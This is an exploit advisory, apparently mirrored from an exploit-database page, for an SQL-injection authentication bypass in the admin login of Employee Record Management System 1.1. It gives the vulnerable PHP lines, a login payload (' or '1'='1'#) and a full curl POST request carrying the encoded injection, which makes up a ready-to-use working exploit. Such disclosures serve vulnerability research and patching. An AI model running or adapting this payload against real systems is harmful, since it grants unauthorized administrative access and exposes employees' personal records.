Share
## https://sploitus.com/exploit?id=PACKETSTORM:158475
# Exploit Title: Employee Record Management System(ERMS) 1.1 - Authentication Bypass  
# Date: 2020-07-20  
# Exploit Author: gh1mau  
# Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/  
# Vendor Homepage: https://phpgurukul.com/employee-record-management-system-in-php-and-mysql/  
# Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=8967  
# Version: V1.1  
# Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)  
  
  
Vulnerable File:  
----------------   
\admin\index.php  
  
  
Vulnerable Code:  
-----------------  
line 7 : $uname=$_POST['username'];  
line 8 : $Password=$_POST['Password'];  
  
Vulnerable Issue:  
-----------------  
$uname=$_POST['username']; and $Password=$_POST['Password']; is not filtered correcty  
  
  
POC:  
----  
  
URL: http://localhost/erms/admin/index.php  
Username : ' or '1'='1'#  
Password : anything  
  
  
Sample Request:  
  
curl -i -s -k --location --request POST 'http://localhost/erms/admin/' \  
--header 'Origin: http://localhost:88' \  
--header 'Cookie: PHPSESSID=2fco8hh2r5ccveq520n33chc80' \  
--header 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8' \  
--header 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0' \  
--header 'Connection: close' \  
--header 'Referer: http://localhost:88/erms/admin/' \  
--header 'Host: localhost:88' \  
--header 'Accept-Encoding: gzip, deflate' \  
--header 'Upgrade-Insecure-Requests: 1' \  
--header 'Accept-Language: en-US,en;q=0.5' \  
--header 'Content-Length: 66' \  
--header 'Content-Type: application/x-www-form-urlencoded' \  
--data-raw 'username=%27+or+%271%27%3D%271%27%23&Password=anything&login=login'